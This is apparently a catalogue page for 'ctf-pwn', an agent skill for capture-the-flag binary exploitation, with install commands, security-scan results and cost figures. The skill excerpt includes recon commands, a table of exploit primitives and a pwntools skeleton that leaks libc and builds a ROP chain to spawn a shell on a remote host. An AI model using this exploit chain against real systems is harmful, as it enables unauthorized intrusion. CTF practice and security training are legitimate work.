Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add 26zl/cybersec-toolkit --skill ctf-pwngit clone --depth 1 https://github.com/26zl/cybersec-toolkitWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/26zl/cybersec-toolkit/ctf-pwn)<a href="https://agentmods.dev/skills/26zl/cybersec-toolkit/ctf-pwn"><img src="https://agentmods.dev/badge/skills/26zl/cybersec-toolkit/ctf-pwn/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/26zl/cybersec-toolkit/ctf-pwn"><img src="https://agentmods.dev/badge/skills/26zl/cybersec-toolkit/ctf-pwn.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 2 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high YARA Match · line 68 YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
- medium Rogue Agent · line 13 Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.Fix: Remove any persistence mechanisms (cron jobs, startup scripts, state files). Skills should not maintain state across sessions without explicit user consent.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00090 | $0.01127 |
| Opus 5 | $0.00045 | $0.00563 |
| Sonnet 5 | $0.00018 | $0.00225 |
| Haiku 4.5 | $0.00009 | $0.00113 |
Grade A, and why
ctf-pwn scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 103 lines — stays where its author put it; the contents beside it link to each section on GitHub.
CTF pwn methodology
0. Pwntools venv
The MCP server runs pwntools through a dedicated venv at ~/.ctf-venvs/pwntools/. If missing:
wsl.exe bash -lc "mkdir -p ~/.ctf-venvs && python3 -m venv ~/.ctf-venvs/pwntools && ~/.ctf-venvs/pwntools/bin/pip install pwntools z3-solver"
Then use it: run_script(code, venv="pwntools").
1. Identify the binary
file ./vuln
checksec --file=./vuln # or: rabin2 -I ./vuln
strings ./vuln | head -50
nm ./vuln | head -30 # symbols if not stripped
Note: RELRO, Canary, NX, PIE, arch (x86 / x86_64 / arm / mips), libc version.
If a libc is provided, identify it:
strings libc.so.6 | grep "GNU C Library"
# or
./vuln_pwntools_helper # see below
libc-database and libc-rip/libc.rip (web) — find offsets by leaked function addresses.
2. Find the bug
Static:
objdump -d -M intel ./vuln- Ghidra /
cutter(radare2 GUI) for decompile — both in registry - Look for:
gets,strcpy, unboundedread,printf(user_input), integer overflow on size, double free, UAF
Dynamic:
gdb-multiarch ./vuln+pwndbg/gef- Cyclic pattern:
cyclic 200→ run → crash →cyclic -l <RIP>to find offset
3. Pick the primitive
| Class | Primitive | Tool |
|---|---|---|
| Stack BOF, no canary, NX off | shellcode | pwntools shellcraft.sh() |
| Stack BOF, NX on, ASLR off | ret2win / static ROP | ROPgadget --binary ./vuln |
| Stack BOF, NX+ASLR, libc leak | ret2libc | leak with PUTS@got, calc system, /bin/sh |
| Stack BOF, NX+ASLR, no leak | ret2plt + puts → leak | classic chain |
| Format string | %n write / %s leak | pwntools fmtstr_payload |
| Heap (glibc) | tcache, fastbin, unsorted bin | how2heap, pwndbg heap |
| Use-after-free | dangling pointer abuse | manual python |
| Kernel | KASLR leak, modprobe_path, etc | manual + qemu |
4. Exploit skeleton (pwntools)
from pwn import *
context.binary = ELF("./vuln")
libc = ELF("./libc.so.6")
p = remote("host", 1337) # or process("./vuln") for local
# leak
p.sendlineafter(b"> ", b"A" * 40 + p64(elf.plt['puts']) + p64(elf.sym['main']))
leak = u64(p.recvline().strip().ljust(8, b"\x00"))
libc.address = leak - libc.sym['puts']
# pwn
rop = ROP(libc)
rop.raw(rop.find_gadget(['ret'])) # stack align
rop.system(next(libc.search(b"/bin/sh")))
p.sendline(b"A" * 40 + rop.chain())
p.interactive()
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 7d ago First seen · 103 lines · 90 tokens per session scan A 63b31b6520e8
ctf-pwn is a skill published in the GitHub repository 26zl/cybersec-toolkit (52 stars, last pushed today), licensed MIT. It adds 90 tokens to every session and 1,127 once invoked, about $0.0005 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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